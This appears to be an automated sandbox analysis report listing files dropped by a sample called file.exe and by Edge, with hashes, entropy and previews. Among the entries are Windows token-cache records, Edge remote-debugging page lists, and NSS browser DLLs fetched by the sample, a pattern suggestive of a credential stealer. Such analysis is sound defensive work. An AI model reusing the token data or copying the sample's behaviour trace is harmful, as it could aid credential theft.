SSDEEP:	96:3YZ/r8vpxAKJJF+Z7xS0m5Qmv/dSyozNTzRA+3q:3q/ov77yHhmNSyo9Nvq
MD5:	DCE945DE16C193F2B6952480EC8F863F
SHA1:	4539426A41002F93505671931E82F8EFDDD7FCD7
SHA-256:	6224FAFB063221EC740DB43FA0987C03AED00A3F320C65D6B575987EAED0A201
SHA-512:	CF7CB728838A07906D56A5F4C863671555D571A4BC30FD3D4F12ED27E757C4C229787F85FB6B1471841FC5A2FFF345F5012D8DE3C4F9E43A13D95BEBA11B5EE1
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".s.m./.G.f.D.k.r.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.h.I.I.R.h.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8892883233969497
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xRxl9Il8ucsxG0f3/9F2Mt/ZEt5A037ITYgld/vc:aPYBs0JtZk37ITYgE
MD5:	2A77F6514C11DEF81B34DECD822F88DD
SHA1:	63DC4238B4861CEFA72B35A0ADB6070B12C6B418
SHA-256:	A8C2ED6BEAB0114E9C6BF43E1DB993B566F99BA15CEB6DC44B8E831AC0CDF923
SHA-512:	4C6DA4A793BC7ECF8073E1A905D2A2D8D13A53CC46E8278E2F5740F2781D054FC17B7F049700DEF8AD6203EC96515A59F6E94E522AAA78CF5CC570FDBFF7A209
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".L.5.D.w.r.A.p.K.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.h.I.I.R.h.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.393894549921254
Encrypted:	false
SSDEEP:	96:6NnQmHQZNnQ5CpbQ5YNnQKz39QKgNnQxdgEQiNnQAQVNnQQDQ1NnQ0wQHNnQ/3Qo:6NeNfNaNwHNeNFiN7rN8
MD5:	56F87B9F9C1552226F2921FE3FE8CB8D
SHA1:	D0E7C2FFE865E981F25E2B7A7338BFF5E738596C
SHA-256:	01A5D3A61F397D00ED846B40CA35218258C0939A815D55CF3F7C34AB2FAF3CF4
SHA-512:	7751A1202ED1C814D37FD9479195B250D5ADAE352327043574F55505DC4525163D39A58ED6A94CDE36F513B7FB8B8743B4AF1052498FD4827D125E80B6407470
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/038C43ECD1767B03B34D9085A81F8EED",.. "id": "038C43ECD1767B03B34D9085A81F8EED",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/038C43ECD1767B03B34D9085A81F8EED"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1E3E4B32FDC8E9E0B7F7E01F5F0FFC22",.. "id": "1E3E4B32FDC8E9E0B7F7E01F5F0FFC22",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1E3E4B32FDC8E9E0B7F7E01F5F0FFC22"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.363706735552607
Encrypted:	false
SSDEEP:	48:SfNaoQJTEQVfNaoQ4QkfNaoQ8OPQ89fNaoQEb0UrU0U8QO:6NnQJTEQBNnQ4QQNnQ8OPQ8pNnQEb0UN
MD5:	71CBC9CA7965FCE3463B05A83F5C64D7
SHA1:	78B98C9907175445ECD74446342DD5861D79BF4E
SHA-256:	42E349DB7B294A2C0663C9056F3BFFD33311E315BC8C4BEEC227D1AFD24F2A40
SHA-512:	2A62C0EA56E63089CDE5900C85D94ECAAA77507537934690684243A6C1833B8B67992949B40D7208E122F0FFF64BB0CF2DD03B013E35610143BFD9D77BF7257A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/018126FFB883510D59EDF8C4F7560973",.. "id": "018126FFB883510D59EDF8C4F7560973",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/018126FFB883510D59EDF8C4F7560973"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/08806D636F0803040FB3026353861491",.. "id": "08806D636F0803040FB3026353861491",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/08806D636F0803040FB3026353861491"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\084f3370-9243-4df4-bf1c-378a56849fdd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\1364a03c-cbb9-4609-bd1a-17be813df155.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\1ea598bd-c559-4f35-8284-5e5abaa5aadf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1580662
Entropy (8bit):	7.992975309515369
Encrypted:	true
SSDEEP:	49152:V7Y1MoTw0uH//B86XRRtszH6N86cYwtyNxNc7:VgwZH//7mr6N8vYhy7
MD5:	AFC444758984873A84AD79BDE3EA5EA6
SHA1:	134508A1CE77192ED23A8189400F98880BC91A62
SHA-256:	CF9B1C81CBA571A22A082534906F84DAD04B59BF7B882158B5D8A2BE10F2EE3F
SHA-512:	09167FFB25187BFF79EEFD025240710FF0D74B741597756DBA57469C2B5621F35C2365F92848A70BC6367752FAA3E77C183ED7394FB10A8B4A60745A0F45A301
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\8916abdb-f97e-44ac-98f4-e48a4d5ab7a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\a552bc49-7d11-4017-8162-1c70685b4026.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\c106448f-d65a-4892-8a7f-6283ee062536.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.405675005634826
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rr0:8e2Fa116uCntc5toYZve4y6LM
MD5:	7038B49C46AC23ADB17A35DA8E8D3D37
SHA1:	8704E0CACC7D5484995A028AF7E0A150584B8367
SHA-256:	3E98F4FBEF0425374D99F3D578502A51217503C2C69706730C48630B7598F332
SHA-512:	B077ACC5D0B176F31E1D8B69C2B8A1B568642A345FE7E71B19FF1D0B626A5534A62EA57EA9F65A966D5E9E7A1A5C25AA4043307A696A3F0626F70BAEA938C656
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\ee8927a5-a9d6-4983-98d1-dbbe6a81653c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
